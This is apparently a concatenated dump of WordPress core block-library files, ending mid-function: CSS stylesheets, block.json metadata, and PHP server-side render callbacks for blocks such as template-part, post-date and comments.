}.wp-block-pullquote{box-sizing:border-box;overflow-wrap:break-word;padding:4em 0;text-align:center}.wp-block-pullquote blockquote,.wp-block-pullquote cite,.wp-block-pullquote p{color:inherit}.wp-block-pullquote blockquote{margin:0}.wp-block-pullquote p{margin-top:0}.wp-block-pullquote p:last-child{margin-bottom:0}.wp-block-pullquote.alignleft,.wp-block-pullquote.alignright{max-width:420px}.wp-block-pullquote cite,.wp-block-pullquote footer{position:relative}.wp-block-pullquote .has-text-color a{color:inherit}:where(.wp-block-pullquote){margin:0 0 1em}.wp-block-pullquote.has-text-align-left blockquote{text-align:right}.wp-block-pullquote.has-text-align-right blockquote{text-align:left}.wp-block-pullquote.is-style-solid-color{border:none}.wp-block-pullquote.is-style-solid-color blockquote{margin-left:auto;margin-right:auto;max-width:60%}.wp-block-pullquote.is-style-solid-color blockquote p{font-size:2em;margin-bottom:0;margin-top:0}.wp-block-pullquote.is-style-solid-color blockquote cite{font-style:normal;text-transform:none}.wp-block-pullquote cite{color:inherit}.wp-block-pullquote{
  box-sizing:border-box;
  overflow-wrap:break-word;
  padding:4em 0;
  text-align:center;
}
.wp-block-pullquote blockquote,.wp-block-pullquote cite,.wp-block-pullquote p{
  color:inherit;
}
.wp-block-pullquote blockquote{
  margin:0;
}
.wp-block-pullquote p{
  margin-top:0;
}
.wp-block-pullquote p:last-child{
  margin-bottom:0;
}
.wp-block-pullquote.alignleft,.wp-block-pullquote.alignright{
  max-width:420px;
}
.wp-block-pullquote cite,.wp-block-pullquote footer{
  position:relative;
}
.wp-block-pullquote .has-text-color a{
  color:inherit;
}

:where(.wp-block-pullquote){
  margin:0 0 1em;
}

.wp-block-pullquote.has-text-align-left blockquote{
  text-align:right;
}

.wp-block-pullquote.has-text-align-right blockquote{
  text-align:left;
}

.wp-block-pullquote.is-style-solid-color{
  border:none;
}
.wp-block-pullquote.is-style-solid-color blockquote{
  margin-left:auto;
  margin-right:auto;
  max-width:60%;
}
.wp-block-pullquote.is-style-solid-color blockquote p{
  font-size:2em;
  margin-bottom:0;
  margin-top:0;
}
.wp-block-pullquote.is-style-solid-color blockquote cite{
  font-style:normal;
  text-transform:none;
}

.wp-block-pullquote cite{
  color:inherit;
}<?php
/**
 * Server-side rendering of the `core/template-part` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/template-part` block on the server.
 *
 * @param array $attributes The block attributes.
 *
 * @return string The render.
 */
function render_block_core_template_part( $attributes ) {
	static $seen_ids = array();

	$template_part_id = null;
	$content          = null;
	$area             = WP_TEMPLATE_PART_AREA_UNCATEGORIZED;
	$theme            = isset( $attributes['theme'] ) ? $attributes['theme'] : get_stylesheet();

	if ( isset( $attributes['slug'] ) && get_stylesheet() === $theme ) {
		$template_part_id    = $theme . '//' . $attributes['slug'];
		$template_part_query = new WP_Query(
			array(
				'post_type'           => 'wp_template_part',
				'post_status'         => 'publish',
				'post_name__in'       => array( $attributes['slug'] ),
				'tax_query'           => array(
					array(
						'taxonomy' => 'wp_theme',
						'field'    => 'name',
						'terms'    => $theme,
					),
				),
				'posts_per_page'      => 1,
				'no_found_rows'       => true,
				'lazy_load_term_meta' => false, // Do not lazy load term meta, as template parts only have one term.
			)
		);
		$template_part_post  = $template_part_query->have_posts() ? $template_part_query->next_post() : null;
		if ( $template_part_post ) {
			// A published post might already exist if this template part was customized elsewhere
			// or if it's part of a customized template.
			$block_template = _build_block_template_result_from_post( $template_part_post );
			$content        = $block_template->content;
			if ( isset( $block_template->area ) ) {
				$area = $block_template->area;
			}
			/**
			 * Fires when a block template part is loaded from a template post stored in the database.
			 *
			 * @since 5.9.0
			 *
			 * @param string  $template_part_id   The requested template part namespaced to the theme.
			 * @param array   $attributes         The block attributes.
			 * @param WP_Post $template_part_post The template part post object.
			 * @param string  $content            The template part content.
			 */
			do_action( 'render_block_core_template_part_post', $template_part_id, $attributes, $template_part_post, $content );
		} else {
			$template_part_file_path = '';
			// Else, if the template part was provided by the active theme,
			// render the corresponding file content.
			if ( 0 === validate_file( $attributes['slug'] ) ) {
				$block_template = get_block_file_template( $template_part_id, 'wp_template_part' );

				$content = $block_template->content;
				if ( isset( $block_template->area ) ) {
					$area = $block_template->area;
				}

				// Needed for the `render_block_core_template_part_file` and `render_block_core_template_part_none` actions below.
				$block_template_file = _get_block_template_file( 'wp_template_part', $attributes['slug'] );
				if ( $block_template_file ) {
					$template_part_file_path = $block_template_file['path'];
				}
			}

			if ( '' !== $content && null !== $content ) {
				/**
				 * Fires when a block template part is loaded from a template part in the theme.
				 *
				 * @since 5.9.0
				 *
				 * @param string $template_part_id        The requested template part namespaced to the theme.
				 * @param array  $attributes              The block attributes.
				 * @param string $template_part_file_path Absolute path to the template path.
				 * @param string $content                 The template part content.
				 */
				do_action( 'render_block_core_template_part_file', $template_part_id, $attributes, $template_part_file_path, $content );
			} else {
				/**
				 * Fires when a requested block template part does not exist in the database nor in the theme.
				 *
				 * @since 5.9.0
				 *
				 * @param string $template_part_id        The requested template part namespaced to the theme.
				 * @param array  $attributes              The block attributes.
				 * @param string $template_part_file_path Absolute path to the not found template path.
				 */
				do_action( 'render_block_core_template_part_none', $template_part_id, $attributes, $template_part_file_path );
			}
		}
	}

	// WP_DEBUG_DISPLAY must only be honored when WP_DEBUG. This precedent
	// is set in `wp_debug_mode()`.
	$is_debug = WP_DEBUG && WP_DEBUG_DISPLAY;

	if ( is_null( $content ) ) {
		if ( $is_debug && isset( $attributes['slug'] ) ) {
			return sprintf(
				/* translators: %s: Template part slug. */
				__( 'Template part has been deleted or is unavailable: %s' ),
				$attributes['slug']
			);
		}

		return '';
	}

	if ( isset( $seen_ids[ $template_part_id ] ) ) {
		return $is_debug ?
			// translators: Visible only in the front end, this warning takes the place of a faulty block.
			__( '[block rendering halted]' ) :
			'';
	}

	// Look up area definition.
	$area_definition = null;
	$defined_areas   = get_allowed_block_template_part_areas();
	foreach ( $defined_areas as $defined_area ) {
		if ( $defined_area['area'] === $area ) {
			$area_definition = $defined_area;
			break;
		}
	}

	// If $area is not allowed, set it back to the uncategorized default.
	if ( ! $area_definition ) {
		$area = WP_TEMPLATE_PART_AREA_UNCATEGORIZED;
	}

	// Run through the actions that are typically taken on the_content.
	$content                       = shortcode_unautop( $content );
	$content                       = do_shortcode( $content );
	$seen_ids[ $template_part_id ] = true;
	$content                       = do_blocks( $content );
	unset( $seen_ids[ $template_part_id ] );
	$content = wptexturize( $content );
	$content = convert_smilies( $content );
	$content = wp_filter_content_tags( $content, "template_part_{$area}" );

	// Handle embeds for block template parts.
	global $wp_embed;
	$content = $wp_embed->autoembed( $content );

	if ( empty( $attributes['tagName'] ) || tag_escape( $attributes['tagName'] ) !== $attributes['tagName'] ) {
		$area_tag = 'div';
		if ( $area_definition && isset( $area_definition['area_tag'] ) ) {
			$area_tag = $area_definition['area_tag'];
		}
		$html_tag = $area_tag;
	} else {
		$html_tag = esc_attr( $attributes['tagName'] );
	}
	$wrapper_attributes = get_block_wrapper_attributes();

	return "<$html_tag $wrapper_attributes>" . str_replace( ']]>', ']]&gt;', $content ) . "</$html_tag>";
}

/**
 * Returns an array of area variation objects for the template part block.
 *
 * @param array $instance_variations The variations for instances.
 *
 * @return array Array containing the block variation objects.
 */
function build_template_part_block_area_variations( $instance_variations ) {
	$variations    = array();
	$defined_areas = get_allowed_block_template_part_areas();

	foreach ( $defined_areas as $area ) {
		if ( 'uncategorized' !== $area['area'] ) {
			$has_instance_for_area = false;
			foreach ( $instance_variations as $variation ) {
				if ( $variation['attributes']['area'] === $area['area'] ) {
					$has_instance_for_area = true;
					break;
				}
			}

			$scope = $has_instance_for_area ? array() : array( 'inserter' );

			$variations[] = array(
				'name'        => 'area_' . $area['area'],
				'title'       => $area['label'],
				'description' => $area['description'],
				'attributes'  => array(
					'area' => $area['area'],
				),
				'scope'       => $scope,
				'icon'        => $area['icon'],
			);
		}
	}
	return $variations;
}

/**
 * Returns an array of instance variation objects for the template part block
 *
 * @return array Array containing the block variation objects.
 */
function build_template_part_block_instance_variations() {
	// Block themes are unavailable during installation.
	if ( wp_installing() ) {
		return array();
	}

	if ( ! current_theme_supports( 'block-templates' ) && ! current_theme_supports( 'block-template-parts' ) ) {
		return array();
	}

	$variations     = array();
	$template_parts = get_block_templates(
		array(
			'post_type' => 'wp_template_part',
		),
		'wp_template_part'
	);

	$defined_areas = get_allowed_block_template_part_areas();
	$icon_by_area  = array_combine( array_column( $defined_areas, 'area' ), array_column( $defined_areas, 'icon' ) );

	foreach ( $template_parts as $template_part ) {
		$variations[] = array(
			'name'        => 'instance_' . sanitize_title( $template_part->slug ),
			'title'       => $template_part->title,
			// If there's no description for the template part don't show the
			// block description. This is a bit hacky, but prevent the fallback
			// by using a non-breaking space so that the value of description
			// isn't falsey.
			'description' => $template_part->description || '&nbsp;',
			'attributes'  => array(
				'slug'  => $template_part->slug,
				'theme' => $template_part->theme,
				'area'  => $template_part->area,
			),
			'scope'       => array( 'inserter' ),
			'icon'        => isset( $icon_by_area[ $template_part->area ] ) ? $icon_by_area[ $template_part->area ] : null,
			'example'     => array(
				'attributes' => array(
					'slug'  => $template_part->slug,
					'theme' => $template_part->theme,
					'area'  => $template_part->area,
				),
			),
		);
	}
	return $variations;
}

/**
 * Returns an array of all template part block variations.
 *
 * @return array Array containing the block variation objects.
 */
function build_template_part_block_variations() {
	$instance_variations = build_template_part_block_instance_variations();
	$area_variations     = build_template_part_block_area_variations( $instance_variations );
	return array_merge( $area_variations, $instance_variations );
}

/**
 * Registers the `core/template-part` block on the server.
 */
function register_block_core_template_part() {
	register_block_type_from_metadata(
		__DIR__ . '/template-part',
		array(
			'render_callback'    => 'render_block_core_template_part',
			'variation_callback' => 'build_template_part_block_variations',
		)
	);
}
add_action( 'init', 'register_block_core_template_part' );
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/heading",
	"title": "Heading",
	"category": "text",
	"description": "Introduce new sections and organize content to help visitors (and search engines) understand the structure of your content.",
	"keywords": [ "title", "subtitle" ],
	"textdomain": "default",
	"attributes": {
		"textAlign": {
			"type": "string"
		},
		"content": {
			"type": "rich-text",
			"source": "rich-text",
			"selector": "h1,h2,h3,h4,h5,h6",
			"__experimentalRole": "content"
		},
		"level": {
			"type": "number",
			"default": 2
		},
		"placeholder": {
			"type": "string"
		}
	},
	"supports": {
		"align": [ "wide", "full" ],
		"anchor": true,
		"className": true,
		"color": {
			"gradients": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"spacing": {
			"margin": true,
			"padding": true,
			"__experimentalDefaultControls": {
				"margin": false,
				"padding": false
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontStyle": true,
			"__experimentalFontWeight": true,
			"__experimentalLetterSpacing": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalWritingMode": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"__unstablePasteTextInline": true,
		"__experimentalSlashInserter": true,
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-heading-editor",
	"style": "wp-block-heading"
}
h1.has-background,h2.has-background,h3.has-background,h4.has-background,h5.has-background,h6.has-background{
  padding:1.25em 2.375em;
}
h1.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h1.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h2.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h2.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h3.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h3.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h4.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h4.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h5.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h5.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h6.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h6.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]){
  rotate:180deg;
}h1.has-background,h2.has-background,h3.has-background,h4.has-background,h5.has-background,h6.has-background{padding:1.25em 2.375em}h1.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h1.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h2.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h2.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h3.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h3.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h4.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h4.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h5.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h5.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h6.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h6.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]){rotate:180deg}h1.has-background,h2.has-background,h3.has-background,h4.has-background,h5.has-background,h6.has-background{padding:1.25em 2.375em}h1.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h1.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h2.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h2.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h3.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h3.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h4.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h4.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h5.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h5.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h6.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h6.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]){rotate:180deg}h1.has-background,h2.has-background,h3.has-background,h4.has-background,h5.has-background,h6.has-background{
  padding:1.25em 2.375em;
}
h1.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h1.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h2.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h2.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h3.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h3.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h4.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h4.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h5.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h5.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h6.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h6.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]){
  rotate:180deg;
}{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/post-navigation-link",
	"title": "Post Navigation Link",
	"category": "theme",
	"description": "Displays the next or previous post link that is adjacent to the current post.",
	"textdomain": "default",
	"attributes": {
		"textAlign": {
			"type": "string"
		},
		"type": {
			"type": "string",
			"default": "next"
		},
		"label": {
			"type": "string"
		},
		"showTitle": {
			"type": "boolean",
			"default": false
		},
		"linkLabel": {
			"type": "boolean",
			"default": false
		},
		"arrow": {
			"type": "string",
			"default": "none"
		},
		"taxonomy": {
			"type": "string",
			"default": ""
		}
	},
	"usesContext": [ "postType" ],
	"supports": {
		"reusable": false,
		"html": false,
		"color": {
			"link": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalWritingMode": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"style": "wp-block-post-navigation-link"
}
.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous{
  display:inline-block;
  margin-right:1ch;
}
.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous:not(.is-arrow-chevron){
  transform:scaleX(1);
}
.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next{
  display:inline-block;
  margin-left:1ch;
}
.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next:not(.is-arrow-chevron){
  transform:scaleX(1);
}
.wp-block-post-navigation-link.has-text-align-left[style*="writing-mode: vertical-lr"],.wp-block-post-navigation-link.has-text-align-right[style*="writing-mode: vertical-rl"]{
  rotate:180deg;
}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous{display:inline-block;margin-right:1ch}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next{display:inline-block;margin-left:1ch}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-post-navigation-link.has-text-align-left[style*="writing-mode: vertical-lr"],.wp-block-post-navigation-link.has-text-align-right[style*="writing-mode: vertical-rl"]{rotate:180deg}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous{display:inline-block;margin-left:1ch}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next{display:inline-block;margin-right:1ch}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-post-navigation-link.has-text-align-left[style*="writing-mode: vertical-lr"],.wp-block-post-navigation-link.has-text-align-right[style*="writing-mode: vertical-rl"]{rotate:180deg}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous{
  display:inline-block;
  margin-left:1ch;
}
.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous:not(.is-arrow-chevron){
  transform:scaleX(-1);;
}
.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next{
  display:inline-block;
  margin-right:1ch;
}
.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next:not(.is-arrow-chevron){
  transform:scaleX(-1);;
}
.wp-block-post-navigation-link.has-text-align-left[style*="writing-mode: vertical-lr"],.wp-block-post-navigation-link.has-text-align-right[style*="writing-mode: vertical-rl"]{
  rotate:180deg;
}{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/read-more",
	"title": "Read More",
	"category": "theme",
	"description": "Displays the link of a post, page, or any other content-type.",
	"textdomain": "default",
	"attributes": {
		"content": {
			"type": "string"
		},
		"linkTarget": {
			"type": "string",
			"default": "_self"
		}
	},
	"usesContext": [ "postId" ],
	"supports": {
		"html": false,
		"color": {
			"gradients": true,
			"text": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalLetterSpacing": true,
			"__experimentalTextDecoration": true,
			"__experimentalDefaultControls": {
				"fontSize": true,
				"textDecoration": true
			}
		},
		"spacing": {
			"margin": [ "top", "bottom" ],
			"padding": true,
			"__experimentalDefaultControls": {
				"padding": true
			}
		},
		"__experimentalBorder": {
			"color": true,
			"radius": true,
			"width": true,
			"__experimentalDefaultControls": {
				"width": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"style": "wp-block-read-more"
}
.wp-block-read-more{
  display:block;
  width:-moz-fit-content;
  width:fit-content;
}
.wp-block-read-more:where(:not([style*=text-decoration])){
  text-decoration:none;
}
.wp-block-read-more:where(:not([style*=text-decoration])):active,.wp-block-read-more:where(:not([style*=text-decoration])):focus{
  text-decoration:none;
}.wp-block-read-more{display:block;width:-moz-fit-content;width:fit-content}.wp-block-read-more:where(:not([style*=text-decoration])){text-decoration:none}.wp-block-read-more:where(:not([style*=text-decoration])):active,.wp-block-read-more:where(:not([style*=text-decoration])):focus{text-decoration:none}.wp-block-read-more{display:block;width:-moz-fit-content;width:fit-content}.wp-block-read-more:where(:not([style*=text-decoration])){text-decoration:none}.wp-block-read-more:where(:not([style*=text-decoration])):active,.wp-block-read-more:where(:not([style*=text-decoration])):focus{text-decoration:none}.wp-block-read-more{
  display:block;
  width:-moz-fit-content;
  width:fit-content;
}
.wp-block-read-more:where(:not([style*=text-decoration])){
  text-decoration:none;
}
.wp-block-read-more:where(:not([style*=text-decoration])):active,.wp-block-read-more:where(:not([style*=text-decoration])):focus{
  text-decoration:none;
}<?php

// This file was autogenerated by tools/release/sync-stable-blocks.js, do not change manually!
// Returns folder names for static blocks necessary for core blocks registration.
return array(
	'audio',
	'button',
	'buttons',
	'code',
	'column',
	'columns',
	'details',
	'embed',
	'freeform',
	'group',
	'html',
	'list',
	'list-item',
	'media-text',
	'missing',
	'more',
	'nextpage',
	'paragraph',
	'preformatted',
	'pullquote',
	'quote',
	'separator',
	'social-links',
	'spacer',
	'table',
	'text-columns',
	'verse',
	'video',
);
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/html",
	"title": "Custom HTML",
	"category": "widgets",
	"description": "Add custom HTML code and preview it as you edit.",
	"keywords": [ "embed" ],
	"textdomain": "default",
	"attributes": {
		"content": {
			"type": "string",
			"source": "raw"
		}
	},
	"supports": {
		"customClassName": false,
		"className": false,
		"html": false,
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-html-editor"
}
.block-library-html__edit .block-library-html__preview-overlay{height:100%;left:0;position:absolute;top:0;width:100%}.block-library-html__edit .block-editor-plain-text{background:#fff!important;border:1px solid #1e1e1e!important;border-radius:2px!important;box-shadow:none!important;box-sizing:border-box;color:#1e1e1e!important;font-family:Menlo,Consolas,monaco,monospace!important;font-size:16px!important;max-height:250px;padding:12px!important}@media (min-width:600px){.block-library-html__edit .block-editor-plain-text{font-size:13px!important}}.block-library-html__edit .block-editor-plain-text:focus{border-color:var(--wp-admin-theme-color)!important;box-shadow:0 0 0 1px var(--wp-admin-theme-color)!important;outline:2px solid #0000!important}.block-library-html__edit .block-library-html__preview-overlay{
  height:100%;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}
.block-library-html__edit .block-editor-plain-text{
  background:#fff !important;
  border:1px solid #1e1e1e !important;
  border-radius:2px !important;
  box-shadow:none !important;
  box-sizing:border-box;
  color:#1e1e1e !important;
  font-family:Menlo,Consolas,monaco,monospace !important;
  font-size:16px !important;
  max-height:250px;
  padding:12px !important;
}
@media (min-width:600px){
  .block-library-html__edit .block-editor-plain-text{
    font-size:13px !important;
  }
}
.block-library-html__edit .block-editor-plain-text:focus{
  border-color:var(--wp-admin-theme-color) !important;
  box-shadow:0 0 0 1px var(--wp-admin-theme-color) !important;
  outline:2px solid #0000 !important;
}.block-library-html__edit .block-library-html__preview-overlay{height:100%;position:absolute;right:0;top:0;width:100%}.block-library-html__edit .block-editor-plain-text{background:#fff!important;border:1px solid #1e1e1e!important;border-radius:2px!important;box-shadow:none!important;box-sizing:border-box;color:#1e1e1e!important;font-family:Menlo,Consolas,monaco,monospace!important;font-size:16px!important;max-height:250px;padding:12px!important}@media (min-width:600px){.block-library-html__edit .block-editor-plain-text{font-size:13px!important}}.block-library-html__edit .block-editor-plain-text:focus{border-color:var(--wp-admin-theme-color)!important;box-shadow:0 0 0 1px var(--wp-admin-theme-color)!important;outline:2px solid #0000!important}.block-library-html__edit .block-library-html__preview-overlay{
  height:100%;
  left:0;
  position:absolute;
  top:0;
  width:100%;
}
.block-library-html__edit .block-editor-plain-text{
  background:#fff !important;
  border:1px solid #1e1e1e !important;
  border-radius:2px !important;
  box-shadow:none !important;
  box-sizing:border-box;
  color:#1e1e1e !important;
  font-family:Menlo,Consolas,monaco,monospace !important;
  font-size:16px !important;
  max-height:250px;
  padding:12px !important;
}
@media (min-width:600px){
  .block-library-html__edit .block-editor-plain-text{
    font-size:13px !important;
  }
}
.block-library-html__edit .block-editor-plain-text:focus{
  border-color:var(--wp-admin-theme-color) !important;
  box-shadow:0 0 0 1px var(--wp-admin-theme-color) !important;
  outline:2px solid #0000 !important;
}<?php
/**
 * Server-side rendering of the `core/post-date` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/post-date` block on the server.
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 * @return string Returns the filtered post date for the current post wrapped inside "time" tags.
 */
function render_block_core_post_date( $attributes, $content, $block ) {
	if ( ! isset( $block->context['postId'] ) ) {
		return '';
	}

	$post_ID          = $block->context['postId'];
	$formatted_date   = get_the_date( empty( $attributes['format'] ) ? '' : $attributes['format'], $post_ID );
	$unformatted_date = esc_attr( get_the_date( 'c', $post_ID ) );
	$classes          = array();

	if ( isset( $attributes['textAlign'] ) ) {
		$classes[] = 'has-text-align-' . $attributes['textAlign'];
	}
	if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) {
		$classes[] = 'has-link-color';
	}

	/*
	 * If the "Display last modified date" setting is enabled,
	 * only display the modified date if it is later than the publishing date.
	 */
	if ( isset( $attributes['displayType'] ) && 'modified' === $attributes['displayType'] ) {
		if ( get_the_modified_date( 'Ymdhi', $post_ID ) > get_the_date( 'Ymdhi', $post_ID ) ) {
			$formatted_date   = get_the_modified_date( empty( $attributes['format'] ) ? '' : $attributes['format'], $post_ID );
			$unformatted_date = esc_attr( get_the_modified_date( 'c', $post_ID ) );
			$classes[]        = 'wp-block-post-date__modified-date';
		} else {
			return '';
		}
	}

	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) );

	if ( isset( $attributes['isLink'] ) && $attributes['isLink'] ) {
		$formatted_date = sprintf( '<a href="%1s">%2s</a>', get_the_permalink( $post_ID ), $formatted_date );
	}

	return sprintf(
		'<div %1$s><time datetime="%2$s">%3$s</time></div>',
		$wrapper_attributes,
		$unformatted_date,
		$formatted_date
	);
}

/**
 * Registers the `core/post-date` block on the server.
 */
function register_block_core_post_date() {
	register_block_type_from_metadata(
		__DIR__ . '/post-date',
		array(
			'render_callback' => 'render_block_core_post_date',
		)
	);
}
add_action( 'init', 'register_block_core_post_date' );
<?php
/**
 * Server-side rendering of the `core/comments` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/comments` block on the server.
 *
 * This render callback is mainly for rendering a dynamic, legacy version of
 * this block (the old `core/post-comments`). It uses the `comments_template()`
 * function to generate the output, in the same way as classic PHP themes.
 *
 * As this callback will always run during SSR, first we need to check whether
 * the block is in legacy mode. If not, the HTML generated in the editor is
 * returned instead.
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 * @return string Returns the filtered post comments for the current post wrapped inside "p" tags.
 */
function render_block_core_comments( $attributes, $content, $block ) {
	global $post;

	$post_id = $block->context['postId'];
	if ( ! isset( $post_id ) ) {
		return '';
	}

	// Return early if there are no comments and comments are closed.
	if ( ! comments_open( $post_id ) && (int) get_comments_number( $post_id ) === 0 ) {
		return '';
	}

	// If this isn't the legacy block, we need to render the static version of this block.
	$is_legacy = 'core/post-comments' === $block->name || ! empty( $attributes['legacy'] );
	if ( ! $is_legacy ) {
		return $block->render( array( 'dynamic' => false ) );
	}

	$post_before = $post;
	$post        = get_post( $post_id );
	setup_postdata( $post );

	ob_start();

	/*
	 * There's a deprecation warning generated by WP Core.
	 * Ideally this deprecation is removed from Core.
	 * In the meantime, this removes it from the output.
	 */
	add_filter( 'deprecated_file_trigger_error', '__return_false' );
	comments_template();
	remove_filter( 'deprecated_file_trigger_error', '__return_false' );

	$output = ob_get_clean();
	$post   = $post_before;

	$classnames = array();
	// Adds the old class name for styles' backwards compatibility.
	if ( isset( $attributes['legacy'] ) ) {
		$classnames[] = 'wp-block-post-comments';
	}
	if ( isset( $attributes['textAlign'] ) ) {
		$classnames[] = 'has-text-align-' . $attributes['textAlign'];
	}

	$wrapper_attributes = get_block_wrapper_attributes(
		array( 'class' => implode( ' ', $classnames ) )
	);

	/*
	 * Enqueues scripts and styles required only for the legacy version. That is
	 * why they are not defined in `block.json`.
	 */
	wp_enqueue_script( 'comment-reply' );
	enqueue_legacy_post_comments_block_styles( $block->name );

	return sprintf( '<div %1$s>%2$s</div>', $wrapper_attributes, $output );
}

/**
 * Registers the `core/comments` block on the server.
 */
function register_block_core_comments() {
	register_block_type_from_metadata(
		__DIR__ . '/comments',
		array(
			'render_callback'   => 'render_block_core_comments',
			'skip_inner_blocks' => true,
		)
	);
}
add_action( 'init', 'register_block_core_comments' );

/**
 * Use the button block classes for the form-submit button.
 *
 * @param array $fields The default comment form arguments.
 *
 * @return array Returns the modified fields.
 */
function comments_block_form_defaults( $fields ) {
	if ( wp_is_block_theme() ) {
		$fields['submit_button'] = '<input name="%1$s" type="submit" id="%2$s" class="%3$s wp-block-button__link ' . wp_theme_get_element_class_name( 'button' ) . '" value="%4$s" />';
		$fields['submit_field']  = '<p class="form-submit wp-block-button">%1$s %2$s</p>';
	}

	return $fields;
}
add_filter( 'comment_form_defaults', 'comments_block_form_defaults' );

/**
 * Enqueues styles from the legacy `core/post-comments` block. These styles are
 * required only by the block's fallback.
 *
 * @param string $block_name Name of the new block type.
 */
function enqueue_legacy_post_comments_block_styles( $block_name ) {
	static $are_styles_enqueued = false;

	if ( ! $are_styles_enqueued ) {
		$handles = array(
			'wp-block-post-comments',
			'wp-block-buttons',
			'wp-block-button',
		);
